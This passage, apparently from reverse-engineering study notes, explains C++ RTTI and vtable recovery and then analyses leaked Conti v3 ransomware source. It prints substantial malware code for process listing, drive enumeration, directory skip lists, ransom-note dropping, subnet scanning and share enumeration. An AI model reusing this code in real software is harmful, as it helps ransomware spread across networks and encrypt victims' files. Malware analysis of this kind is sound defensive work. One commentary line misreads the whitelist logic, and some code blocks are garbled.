    0x00 DW pVFTable Always points to type_info’s vftable
    0x04 DW spare ?
    0x08 SZ name Class Name

    image-20220521190238726

  3. RTTIClassHierarchyDescriptor

    RTTIClassHierarchyDescriptor记录了类的继承信息、包括基类的数量以及一个RTTIBaseClassDescriptor数组,RTTIBaseClassDescriptor在下面详细讨论,RTTIBaseClassDescriptor最终将指向当前各个基类的TypeDescriptor。

    Offset Type Name Description
    0x00 DW signature Always 0 ?
    0x04 DW attributes Bit 0 - multiple inheritance;Bit 1 - virtual inheritance
    0x08 DW numBaseClasses number of base classes, Count includes the class itself
    0x0c DW pBaseClassArray Array of RTTIBaseClassDescriptor

    当classG 虚拟继承了classA和classE,那么结构如下。包括ClassG自身,我们可以看到numBaseClasses = 3attributes = 3 表示它既是多继承又是虚继承,最后一个BaseClassArray指向RTTIBaseClassDescriptor

    image-20220521191535688

  4. RTTIBaseClassDescriptor

这个结构体包含了基类的有关信息。它包括一个指向基类的TypeDescriptor的指针和一个指向基类的RTTIClassHierarchyDescriptor的指针,(VC6.0中可能没有pBaseClassArray)。另外,它还包含有一个PMD结构体,该结构体中记录了该类中的各个基类的位置。RTTIBaseClassDescriptor结构如下。

Offset Type Name Description
0x00 DW pTypeDescriptor TypeDescriptor of the base class
0x04 DW numContainedBases Number of direct bases of this base class
0x08 DW PMD.mdisp vftable offset
0x0c DW PMD.pdisp vbtable offset(-1:vftable is at displacement PMD.mdisp inside the class)
0x10 DW PMD.vdisp displacement of base class vftable pointer inside the vbtable

一个vbtable(Virtual base class table)是由多重虚拟继承生成的。因为在多重继承的情况下,有时候需要upclass。这时候就需要精确定位基类。虚基类表包含了各个基类在派生类中的位置(或者说各个基类的虚函数表在派生类中的位置,因为虚函数表是基于类的起始位置的)。

根据之前所说的ClassG类声明,编译器会生成以下类结构

image-20220521210502725

在如上这种情况下,vbcase存在于位移0x04处,另一方面,vbtable包含派生类内每个基类的位移:

image-20220521210907045

那么我们尝试利用vbtable来确定基类的真实地址。首先可以看到ClassE的偏移是4,然后我们从虚基类表中读取出classE的偏移为16,那么16 +4 = 20,ClassE位于ClassG +0x14 处,也就是下图的0x00418b14地址处。

以下为ClassG中ClassE的BaseClassDescriptor

image-20220521211249241

那么总结如下的关系图

image-20220522091012407

识别类关系

通过构造器识别类关系

构造函数包含初始化对象的代码,例如调用基类的构造函数和设置vftables。因此,分析构造函数可以让我们很好地了解这个类与其他类的关系。

image-20220522091427369

让我们假设我们已经确定这个函数是通过之前所说方法识别的构造函数。现在,我们看到一个函数正在使用当前对象的这个指针调用。这可以是当前类的成员函数,也可以是基类的构造函数。

我们怎么知道是哪一个?事实上,仅仅通过查看生成的代码,就无法完美区分两者。然而,在现实世界的应用中,在此步骤之前,构造函数很有可能被识别在较前的位置,因此我们所要做的就是将这些信息关联起来,以得出更准确的标识。换句话说,如果使用当前对象的此指针在另一个构造函数中调用预先确定为构造函数的函数,它可能是基类的构造函数。

手动识别这一点需要检查对这个函数的其他交叉引用,看看这个函数是否是二进制文件中其他地方调用的构造函数。我们将在本文件后面讨论自动识别方法。

image-20220522091913348

多重继承实际上比单一继承更容易发现。与单个继承示例一样,第一个调用的函数可以是成员函数,也可以是基类构造函数。请注意,在反汇编中,调用第二个函数之前,在此指针中添加4个字节。这表明正在初始化另一个基类。

Here’s the layout for this class to help you visualize. The disassembly above belongs to the constructor of class D. Class D is derived from two other classes, A and C:

image-20220522092402038

image-20220522092414415

通过RTTI识别多态类关系

我们在之前的RTTI中讲到RTTIClassHierarchyDescriptor结构体如下

Offset Type Name Description
0x00 DW signature Always 0 ?
0x04 DW attributes Bit 0 - multiple inheritance;Bit 1 - virtual inheritance
0x08 DW numBaseClasses number of base classes, Count includes the class itself
0x0c DW pBaseClassArray Array of RTTIBaseClassDescriptor

我们可以通过这个结构体的pBaseClassArray数组来判断非直接基类,如:类A有基类类B,类C,但是类B中存在类C,那么类C就是类A的非直接基类。以下为关系图

image-20220522093145721

而其结构图如下

image-20220522093215268

识别类的成员

识别类成员是一个简单明了的过程,尽管缓慢而乏味。我们可以通过查找相对于此指针的偏移量访问来识别类成员变量:

image-20220522093643884

我们还可以通过查找对相对于此对象虚拟函数表偏移量的指针的间接调用来识别虚拟函数成员:

image-20220522093705706

通过检查此指针是否作为隐藏参数传递给函数调用,可以识别非虚拟成员函数。

image-20220522093758525

为了确保这确实是一个成员函数,我们可以检查被调用的函数是否使用ecx,而无需首先初始化它。让我们看看sub_401110的代码

image-20220522093849886

  • 通过指针偏移量来进行成员变量的赋值 mov dword ptr[eax+8], 12345h
  • 通过vftable指针来获取虚函数,关键为mov edx, [ecx],获取了虚函数指针指向的地址,然后通过mov eax, [edx+4]获取虚函数指针
  • 通过lea ecx,[ebp_var_c],隐藏传递参数给函数调用,注意此处不是64位二进制文件
    • 同时检查被调用的函数是否使用ecx而无需初始化,也就是直接使用之前隐藏传递进来给函数调用的对象指针

Automation

to be continuing…

STL

STL代码和导入的DLL。确定示例是否为C++二进制文件的另一种方法是目标是否使用STL代码,该代码可以通过导入函数或库签名标识(如IDA的FLIRT)确定:

to be continueing…

reverse c++ binary

  • 还原类的构造函数
  • 还原类的析构函数
  • 还原类的成员函数
  • 还原类的虚函数
  • 还原类的继承层次
  • 判断一个类是否是抽象类

References

Ready IDA

  • HexRaysPyTools: Extremely useful for quickly creating structures without having to find every offset that might be a field.
  • Classy: Makes working with vtables and child classes a lot easier.

other settings

  • Make sure to regularly create a snapshot of your database
  • Create/open database
  • make sure the compiler options are correct
  • (Optional)Always show demangled names (Options → Demangled names → Select Names)

theory

class layout in Memory

1
2
3
4
5
6
7
8
9
10
11
// Ususally stored in the data section
struct vtable{
void (*func1)();
void (*func2)();
};t

struct class{
vtable* vtbl;
int member1;
int member2;
}

decompiler

this patterns means below in decompiler

1
2
3
4
__int64 v1 = operater new(sizeof(class));
*v1 = gvtable; // stored someware in .data
*(v1+4) = 0;
*(v1+8) = 0;

call a vtable function

1
(*(void (*)())(*(_QWORD*)v1 + 8))();

Reconstruct Class

to be continue…

异常处理

to be continue…

符号恢复

to be continue…

https://github.com/push0ebp/sig-database

https://github.com/Maktm/FLIRTDB

https://github.com/maroueneboubakri/lscanDW

VirtualFunc

intro

C++是一门支持面向对象的语言,为面向对象的软件开发提供了丰富的语言支持。要想高效、正确地使用C++中的继承、多台等语言特性,就必须对这些特性的底层有一定的了解。

其实,C++的对象模型的核心概念并不多,最重要的概念是虚函数。虚函数式程序运行时定义的函数。虚函数的地址不能在编译时确定,只能在调用即将进行时确定。所有对虚函数的饮用通常放在一个专用数组————虚函数表(Virtual Table,VBTL)中,数组的每个元素中存放的就是类中虚函数的地址。调用虚函数时,程序先取出虚函数指针(Virtual Table Pointer,VPTR),得到虚函数表的地址,再根据这个地址到虚函数表中取出该函数的地址,最后调用该函数。

x32 demo code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class CSum {
public:
virtual int Add(int a,int b) {
return (a + b);
}
virtual int Sub(int a, int b) {
return (a - b);
}
};

void main() {
CSum* pCSum = new CSum;
pCSum->Add(1, 2);
pCSum->Sub(1, 2);
}

首先会使用new函数分配class所需的内存(由IDA识别)。调用成功后保存在eax寄存器中,最后传到ecx。

我们可以看到,v3指向了虚函数表,通过指针进行调用Add和Sub函数。

而且需要注意到,程序以ecx作为this指针的载体传递给虚函数成员函数,并利用两次间接寻址得到虚函数的正确地址从而执行。

image-20220517132723253

image-20220517132332719

虚函数表

image-20220517125804861

x64 demo code

成员函数CVirtual,析构函数CVirtual

虚函数 func1、func2

私有变量 m_nMember1、m_nMember2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/*--------------------------------------------
《加密与解密(第四版)》
(c) 看雪学院 www.kanxue.com 2000-2018
----------------------------------------------*/

// Example4-1.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"


class CVirtual {
public:
CVirtual() {
m_nMember1 = 1;
m_nMember2 = 2;
printf("CVirtual()\r\n");
}
virtual ~CVirtual() {
printf("~CVirtual()\r\n");
}
virtual void fun1() {
printf("fun1()\r\n");
}
virtual void fun2() {
printf("fun2()\r\n");
}
private:
int m_nMember1;
int m_nMember2;
};

int main(int argc, char* argv[]) {
CVirtual object;
object.fun1();
object.fun2();
return 0;
}

for循环用于初始化栈空间为0xCC

image-20220517143459563

函数判断

那么我们如何判断构造函数、析构函数?

main函数在申请了对象实例空间后的第一个函数调用即可猜测为类的构造函数,调用的最后一个函数可以猜测为析构函数

构造函数实现

首先初始化虚表指针,然后初始化数据乘员,构造函数完成,返回this指针。为什么需要返回this指针?c++编译器为了判断一个构造是否被调用而设置的。

如果一个函数在入口处使用lea reg,off_xxxxxxxxxmov [reg],reg特征初始化虚表,且返回值为this指针,就可以怀疑这个函数是一个构造函数。

image-20220517145509769

析构函数实现

首先初始化栈空间,然后赋值虚表,最后返回this指针。

image-20220517152232823

既然前面两个函数的流程都相同,那么如何判断构造函数和析构函数呢?

————在main函数中的调用顺序

虚表结构

因为这个类有虚函数,所以编译器为这个类产生了一个虚表,其存储在全局数据区(.rdata).虚表的每一项都是8个字节,其中存储的是成员函数的地址。

这里需要注意:因为虚表的最后一项不一定是以0结尾,所以虚表项的个数会根据其他信息来确定

虚表汇总的函数按类中成员函数声明顺序依次放入。

函数分布顺序在某些情况下不一定与声明顺序相同(例如虚函数重载),不过这个顺序对逆向还原代码没有影响。

在该demo code中虽然只编写了一个析构函数,编译器却生成了两个析构函数。其中一个是普通析构函数,对象出作用域调用;另一个放在虚表里,在delete对象的时候调用。

image-20220517153516872

image-20220517153449968

虚表中的析构函数比普通的析构函数多一个delete this操作。

delete 对象的时候,需要先调用析构函数,再释放对象的堆空间。

object.~CVirtual()属于多态调用,所以会直接调用虚表里的析构函数,这个时候对象被释放。delete object这句代码优惠调用虚表里的析构函数,这样堆空间会重复释放。

那么为了解决这个问题,VC++编译器给析构函数增加了一个参数,pObject->~CVirtual()调用时参数传递0,这样对象就不会被释放。如果delete pObject的时候参数传递1,对象就会被释放。这样就解决了上面那个问题。

gcc则采用了虚表里放两个析构函数的方法解决该问题。

Conti v3 Ransomeware Souce Code Analysis

prockiller

prockiller

memorySnapshot

  • pCreateToolhelp32Snapshot
  • pProcess32FirstW
  • pProcess32NextW
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include "prockiller.h"
#include <TlHelp32.h>
#include <winternl.h>
#include "../api/getapi.h"
#include "../obfuscation/MetaString.h"
#include "../memory.h"

VOID
process_killer::GetWhiteListProcess(__out PPID_LIST PidList)
{
HANDLE hSnapShot = pCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapShot == NULL) {
return;
}

PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);

if (!pProcess32FirstW(hSnapShot, &pe32)) {

pCloseHandle(hSnapShot);
return;

}

do
{

if (!plstrcmpiW(pe32.szExeFile, OBFW(L"explorer.exe"))) {

PPID Pid = (PPID)m_malloc(sizeof(PID));
if (!Pid) {
break;
}

Pid->dwProcessId = pe32.th32ProcessID;
TAILQ_INSERT_TAIL(PidList, Pid, Entries);

}

} while (pProcess32NextW(hSnapShot, &pe32));

pCloseHandle(hSnapShot);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct tagPROCESSENTRY32W
{
DWORD dwSize;
DWORD cntUsage;
DWORD th32ProcessID; // this process
ULONG_PTR th32DefaultHeapID;
DWORD th32ModuleID; // associated exe
DWORD cntThreads;
DWORD th32ParentProcessID; // this process's parent process
LONG pcPriClassBase; // Base priority of process's threads
DWORD dwFlags;
WCHAR szExeFile[MAX_PATH]; // Path
} PROCESSENTRY32W;

szExeFile is the path the exe

Whitelist

add the process that is not explorer.exe to whitelist.So if the file is open, Ransomeware will not encrypt it.

#define TAILQ_INSERT_TAIL(head, elm, field) do {
TAILQ_NEXT((elm), field) = NULL;
(elm)->field.tqe_prev = (head)->tqh_last;
*(head)->tqh_last = (elm);
(head)->tqh_last = &TAILQ_NEXT((elm), field);
} while (0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include "prockiller.h"
#include <TlHelp32.h>
#include <winternl.h>
#include "../api/getapi.h"
#include "../obfuscation/MetaString.h"
#include "../memory.h"

VOID
process_killer::GetWhiteListProcess(__out PPID_LIST PidList)
{
HANDLE hSnapShot = pCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapShot == NULL) {
return;
}

PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);

if (!pProcess32FirstW(hSnapShot, &pe32)) {

pCloseHandle(hSnapShot);
return;

}

do
{

if (!plstrcmpiW(pe32.szExeFile, OBFW(L"explorer.exe"))) {

PPID Pid = (PPID)m_malloc(sizeof(PID));
if (!Pid) {
break;
}

Pid->dwProcessId = pe32.th32ProcessID;
TAILQ_INSERT_TAIL(PidList, Pid, Entries);

}

} while (pProcess32NextW(hSnapShot, &pe32));

pCloseHandle(hSnapShot);
}

global

set some global parameters,maybe used to build different character sample(extension,mutex…..)

  • Extention
  • DecryptionNote
  • EncryptMode
    • ALL_ENCRYPT 10
    • LOCAL_ENCRYPT 11
    • NETWORK_ENCRYPT 12
    • BACKUPS_ENCRYPT 13
    • PATH_ENCRYPT 14
  • IsProcKillerEnabled
  • EncryptPath
  • EncryptSize
  • MutexName
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
STATIC WCHAR g_Extention[7] = L".EXTEN";
STATIC CHAR g_DecryptNote[2048] = "__DECRYPT_NOTE__";
STATIC INT g_EncryptMode = ALL_ENCRYPT;
STATIC BOOL g_IsProcKillerEnabled = FALSE;
STATIC LPCWSTR g_EncryptPath = NULL;
STATIC BYTE g_EncryptSize = 50;
//STATIC CHAR g_MutexName[65] = "__MUTEX_NAME__";

PWCHAR
global::GetExtention()
{
return g_Extention;
}

PCHAR
global::GetDecryptNote()
{
return g_DecryptNote;
}

PCHAR
global::GetMutexName()
{
//return g_MutexName;
return NULL;
}

VOID
global::SetEncryptMode(INT EncryptMode)
{
g_EncryptMode = EncryptMode;
}

INT
global::GetEncryptMode()
{
return g_EncryptMode;
}

VOID
global::SetProcKiller(BOOL IsEnabled)
{
g_IsProcKillerEnabled = IsEnabled;
}

BOOL
global::GetProcKiller()
{
return g_IsProcKillerEnabled;
}

VOID
global::SetEncryptPath(__in LPCWSTR Path)
{
g_EncryptPath = Path;
}

LPCWSTR
global::GetEncryptPath()
{
return g_EncryptPath;
}

BOOL
global::SetEncryptSize(__in INT Size)
{
if (Size != 10 ||
Size != 15 ||
Size != 20 ||
Size != 25 ||
Size != 30 ||
Size != 35 ||
Size != 40 ||
Size != 45 ||
Size != 50 ||
Size != 60 ||
Size != 70 ||
Size != 80)
{
g_EncryptSize = 50;

logs

logs

  • va_start
  • va_arg
  • va_end

The RtlSecureZeroMemory routine fills a block of memory with zeros in a way that is guaranteed to be secure.

init

init in function main:

1
2
3
4
5
6
7
LPWSTR LogFile = GetCommandLineArg(Argv, Argc, OBFW(L"-log"));

if (LogFile) {

logs::Init(LogFile);

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
logs::Init(LPCWSTR LogFile)
{
pInitializeCriticalSection(&g_CritSec);
g_LogHandle = pCreateFileW(
LogFile,
GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
OPEN_ALWAYS,
FILE_FLAG_WRITE_THROUGH,
NULL);

pSetFilePointer(g_LogHandle, 0, NULL, FILE_END);
}

write

write some errors.

1
logs::Write(OBFW(L"FindFirstFile fails in directory %s. GetLastError = %lu."), CurrentDirectory.c_str(), pGetLastError());

filesystem

filesystem

disks

  • SIZE_T BufferLength = (SIZE_T)pGetLogicalDriveStringsW(0, NULL);
  • pGetLogicalDriveStringsW(BufferLength, Buffer);

GetLogicalDriveStringsW

1
2
3
4
DWORD GetLogicalDriveStringsW(
[in] DWORD nBufferLength,
[out] LPWSTR lpBuffer
);

If the function succeeds, the return value is the length, in characters, of the strings copied to the buffer, not including the terminating null character. Note that an ANSI-ASCII null character uses one byte, but a Unicode (UTF-16) null character uses two bytes.

If the buffer is not large enough, the return value is greater than nBufferLength. It is the size of the buffer required to hold the drive strings.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include "filesystem.h"
#include "../api/getapi.h"
#include "../memory.h"
#include "../logs/logs.h"

INT
filesystem::EnumirateDrives(__in PDRIVE_LIST DriveList)
{
INT Length = 0;
INT DrivesCount = 0;
DWORD DriveType = 0;
TAILQ_INIT(DriveList);

SIZE_T BufferLength = (SIZE_T)pGetLogicalDriveStringsW(0, NULL);
if (!BufferLength) {
return 0;
}

LPWSTR Buffer = (LPWSTR)m_malloc((BufferLength + 1) * sizeof(WCHAR));
if (!Buffer) {
return 0;
}

pGetLogicalDriveStringsW(BufferLength, Buffer);

LPWSTR tempBuffer = Buffer;

while (Length = (INT)plstrlenW(tempBuffer)) {

PDRIVE_INFO DriveInfo = new DRIVE_INFO;
if (!DriveInfo) {

free(Buffer);
return 0;

}
DriveInfo->RootPath = tempBuffer;
TAILQ_INSERT_TAIL(DriveList, DriveInfo, Entries);

DrivesCount++;
tempBuffer += Length + 1;

}

logs::Write(OBFW(L"Found %d drives: "), DrivesCount);

PDRIVE_INFO DriveInfo = NULL;
TAILQ_FOREACH(DriveInfo, DriveList, Entries) {
logs::Write(OBFW(L"%s"), DriveInfo->RootPath.c_str());
}

free(Buffer);
return DrivesCount;
}
  • MakeSearchMask

    • used to generate a search mask path
  • MakePath

    • used to generate the file path
  • CheckDirectory

    • check if the directory is in the Blacklist, if yes then pass this directory. This is to make sure the system running without breaking.

      • ```
        OBFW(L”tmp”),
        OBFW(L”winnt”),
        OBFW(L”temp”),
        OBFW(L”thumb”),
        OBFW(L”$Recycle.Bin”),
        OBFW(L”$RECYCLE.BIN”),
        OBFW(L”System Volume Information”),
        OBFW(L”Boot”),
        OBFW(L”Windows”),
        OBFW(L”Trend Micro”),
        OBFW(L”perflogs”)
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14

        - CheckFilename

        - check if the `file` is in the Blacklist, if yes then pass this file. This is to make sure the system running without breaking.

        - ```
        OBFW(L".exe"),
        OBFW(L".dll"),
        OBFW(L".lnk"),
        OBFW(L".sys"),
        OBFW(L".msi"),
        OBFW(L"readme.txt"),
        OBFW(L"CONTI_LOG.txt"),
        OBFW(L".bat")
  • DropInstruction

    • release the reame.txt to every directory that is encrypted by Ransomeware.
    • the DecryptionNotes is encrypted with chacha
      • the first 16 bytes is the key
      • the 16-20 bytes is the iv
      • the follow is the encrypted data
  • SearchFiles

DropInstruction

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
DropInstruction(__in std::wstring Directory)
{
LPCWSTR str = OBFW(L"readme.txt");
std::wstring Filename = MakePath(Directory, str);

HANDLE hFile = pCreateFileW(
Filename.c_str(),
GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
0,
NULL);

if (hFile == INVALID_HANDLE_VALUE) {
return;
}

DWORD dwDecryptNote = 0;
LPSTR DecryptNote = global::GetDecryptNote();

ECRYPT_ctx CryptCtx;
BYTE ChaChaKey[32];
BYTE ChaChaIV[8];

memcpy(ChaChaKey, DecryptNote, 32);
memcpy(ChaChaIV, DecryptNote + 32, 8);
memcpy(&dwDecryptNote, DecryptNote + 40, 4);

LPSTR DecryptNotePlainText = (LPSTR)m_malloc(dwDecryptNote);
if (!DecryptNotePlainText) {

pCloseHandle(hFile);
return;

}

RtlSecureZeroMemory(&CryptCtx, sizeof(CryptCtx));
ECRYPT_keysetup(&CryptCtx, ChaChaKey, 256, 64);
ECRYPT_ivsetup(&CryptCtx, ChaChaIV);

ECRYPT_decrypt_bytes(&CryptCtx, (PBYTE)DecryptNote + 44, (PBYTE)DecryptNotePlainText, dwDecryptNote);

DWORD BytesWritten;
pWriteFile(hFile, DecryptNotePlainText, dwDecryptNote, &BytesWritten, NULL);
pCloseHandle(hFile);
RtlSecureZeroMemory(DecryptNotePlainText, dwDecryptNote);
free(DecryptNotePlainText);
}

networkscanner

networkscanner

complex network scanner code.

  • PortScanHandler

    • pGetQueuedCompletionStatus
    • pPostQueuedCompletionStatus
      • START_COMPLETION_KEY
      • CONNECT_COMPLETION_KEY
      • TIMER_COMPLETION_KEY
    • CancelIo
      • Cancels all pending input and output (I/O) operations that are issued by the calling thread for the specified file. The function does not cancel I/O operations that other threads issue for a file handle.
    • shutdown
      • The shutdown function disables sends or receives on a socket.
  • TimerCallback

    •   if (!pCreateTimerQueueTimer(&hTimer, hTimerQueue, &TimerCallback, NULL, 30000, 0, 0)) {
                        pExitThread(EXIT_FAILURE);
        }
        
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13

      - a callback function that used with PostQueuedCompletionStatus.

      - ```c
      BOOL CreateTimerQueueTimer(
      [out] PHANDLE phNewTimer,
      [in, optional] HANDLE TimerQueue,
      [in] WAITORTIMERCALLBACK Callback,
      [in, optional] PVOID Parameter,
      [in] DWORD DueTime,
      [in] DWORD Period,
      [in] ULONG Flags
      );
    • The amount of time in milliseconds relative to the current time that must elapse before the timer is signaled for the first time.

    • so 30000 / 1000 = 30s, one call to the Callback function(TimerCallback),if connection is set then CancelIo it .if not ,then shutdown and close the socket

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
else if (CompletionStatus == TIMER_COMPLETION_KEY) {

IsTimerActivated = TRUE;

if (g_ActiveOperations) {

PCONNECT_CONTEXT ConnectCtx = NULL;
TAILQ_FOREACH(ConnectCtx, &g_ConnectionList, Entries) {

if (ConnectCtx->State == CONNECTING) {
pCancelIo((HANDLE)ConnectCtx->s);
}

}

} else {

while (!TAILQ_EMPTY(&g_ConnectionList)) {

PCONNECT_CONTEXT ConnectCtx = TAILQ_FIRST(&g_ConnectionList);
pshutdown(ConnectCtx->s, SD_SEND);
pclosesocket(ConnectCtx->s);
TAILQ_REMOVE(&g_ConnectionList, ConnectCtx, Entries);
pGlobalFree(ConnectCtx);

}

if (!CreateHostTable()) {
break;
}

ScanHosts();

if (!pCreateTimerQueueTimer(&hTimer, hTimerQueue, &TimerCallback, NULL, 30000, 0, 0)) {
pExitThread(EXIT_FAILURE);
}

IsTimerActivated = FALSE;
}

}
}

EnumShares

  • NetShareEnum

    • Retrieves information about each shared resource on a server.
  • sharepath

    Constant/value Description
    STYPE_DISKTREE0x00000000 Disk drive
    STYPE_SPECIAL0x80000000 Special share reserved for interprocess communication (IPC$) or remote administration of the server (ADMIN$). Can also refer to administrative shares such as C$, D$, E$, and so forth.
    STYPE_TEMPORARY0x40000000 A temporary share that is not persisted for creation each time the file server initializes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
VOID
network_scanner::EnumShares(
__in PWCHAR pwszIpAddress,
__out PSHARE_LIST ShareList
)
{
NET_API_STATUS Result;
LPSHARE_INFO_1 ShareInfoBuffer = NULL;
DWORD er = 0, tr = 0, resume = 0;;

do
{
Result = (NET_API_STATUS)pNetShareEnum(pwszIpAddress, 1, (LPBYTE*)&ShareInfoBuffer, MAX_PREFERRED_LENGTH, &er, &tr, &resume);
if (Result == ERROR_SUCCESS)
{

LPSHARE_INFO_1 TempShareInfo = ShareInfoBuffer;

for (DWORD i = 1; i <= er; i++)
{

if (TempShareInfo->shi1_type == STYPE_DISKTREE ||
TempShareInfo->shi1_type == STYPE_SPECIAL ||
TempShareInfo->shi1_type == STYPE_TEMPORARY)
{

PSHARE_INFO ShareInfo = (PSHARE_INFO)m_malloc(sizeof(SHARE_INFO));

if (ShareInfo && plstrcmpiW(TempShareInfo->shi1_netname, OBFW(L"ADMIN$"))) {

plstrcpyW(ShareInfo->wszSharePath, OBFW(L"\\\\"));
plstrcatW(ShareInfo->wszSharePath, pwszIpAddress);
plstrcatW(ShareInfo->wszSharePath, OBFW(L"\\"));
plstrcatW(ShareInfo->wszSharePath, TempShareInfo->shi1_netname);

logs::Write(OBFW(L"Found share %s."), ShareInfo->wszSharePath);
TAILQ_INSERT_TAIL(ShareList, ShareInfo, Entries);

}

}

TempShareInfo++;

}

pNetApiBufferFree(ShareInfoBuffer);
}

} while (Result == ERROR_MORE_DATA);
}

StartScan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
network_scanner::StartScan()
{
WSADATA WsaData;
HANDLE hHostHandler = NULL, hPortScan = NULL;
PSUBNET_INFO SubnetInfo = NULL;

g_ActiveOperations = 0;
pWSAStartup(MAKEWORD(2, 2), &WsaData);
pInitializeCriticalSection(&g_CriticalSection);

if (!GetConnectEX()) {

logs::Write(OBFW(L"Can't get ConnectEx."));
goto cleanup;

}

GetCurrentIpAddress();

g_IocpHandle = pCreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, NULL, 0);
if (g_IocpHandle == NULL) {

logs::Write(OBFW(L"Can't create io completion port."));
goto cleanup;

}

TAILQ_INIT(&g_SubnetList);
TAILQ_INIT(&g_HostList);
TAILQ_INIT(&g_ConnectionList);

if (!GetSubnets(&g_SubnetList)) {

logs::Write(OBFW(L"Can't get subnets."));
goto cleanup;

}

hHostHandler = pCreateThread(NULL, 0, &HostHandler, NULL, 0, NULL);
if (hHostHandler == INVALID_HANDLE_VALUE) {

logs::Write(OBFW(L"Can't create host thread."));
goto cleanup;

}

hPortScan = pCreateThread(NULL, 0, &PortScanHandler, NULL, 0, NULL);
if (hPortScan == INVALID_HANDLE_VALUE) {

logs::Write(OBFW(L"Can't create port scan thread."));
goto cleanup;

}

pPostQueuedCompletionStatus(g_IocpHandle, 0, START_COMPLETION_KEY, NULL);
pWaitForSingleObject(hPortScan, INFINITE);

AddHost(STOP_MARKER);
pWaitForSingleObject(hHostHandler, INFINITE);

cleanup:
pDeleteCriticalSection(&g_CriticalSection);
if (g_IocpHandle) {
pCloseHandle(g_IocpHandle);
}
if (hHostHandler) {
pCloseHandle(hHostHandler);
}
if (hPortScan) {
pCloseHandle(hPortScan);
}

pWSACleanup();
}

GetCurrentIpAddress

  • pgethostname

    • SOCKET_ERROR == (INT)pgethostname(szHostName, 256)

    • g_HostEntry = (struct hostent*)pgethostbyname(szHostName);

If no error occurs, gethostname returns zero. Otherwise,

it returns SOCKET_ERROR and a specific error code can be retrieved by calling WSAGetLastError.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
STATIC
DWORD GetCurrentIpAddress()
{
CHAR szHostName[256];
struct in_addr InAddr;

if (SOCKET_ERROR == (INT)pgethostname(szHostName, 256)) {
return 0;
}

g_HostEntry = (struct hostent*)pgethostbyname(szHostName);
if (!g_HostEntry) {
return 0;
}

return 0;
}

GetConnectEX

  • WSASocketW
    • creates a socket that is bound to a specific transport-service provider
  • WSAIoctl
    • controls the mode of a socket.
  • closesocket
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
STATIC
BOOL
GetConnectEX()
{
DWORD dwBytes;
int rc;

SOCKET sock = (SOCKET)pWSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if (sock == INVALID_SOCKET)
return FALSE;

GUID guid = WSAID_CONNECTEX;
rc = (int)pWSAIoctl(sock, SIO_GET_EXTENSION_FUNCTION_POINTER,
&guid, sizeof(guid),
&g_ConnectEx, sizeof(g_ConnectEx),
&dwBytes, NULL, NULL);

if (rc != 0)
return FALSE;

rc =(int) pclosesocket(sock);
if (rc != 0)
return FALSE;

return TRUE;
}

GetSubnets

  • GetIpNetTable
    • GetIpNetTable(IpNetTable, &TableSize, FALSE);(to get the table size)
    • ULONG Result = (ULONG)pGetIpNetTable(IpNetTable, &TableSize, FALSE);(to get the result)
    • The GetIfTable function retrieves the MIB-II interface table.

if the ip is start with “172.”,”192.168.”,”10.”,”169.”, there are subnets in this host.

And check if the subnet is already in the SubnetList . If not , add this SubnetInfo into SubnetList

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
	IpNetTable = (PMIB_IPNETTABLE)m_malloc(TableSize);
if (!IpNetTable) {
return FALSE;
}

ULONG Result = (ULONG)pGetIpNetTable(IpNetTable, &TableSize, FALSE);
if (Result != ERROR_SUCCESS) {

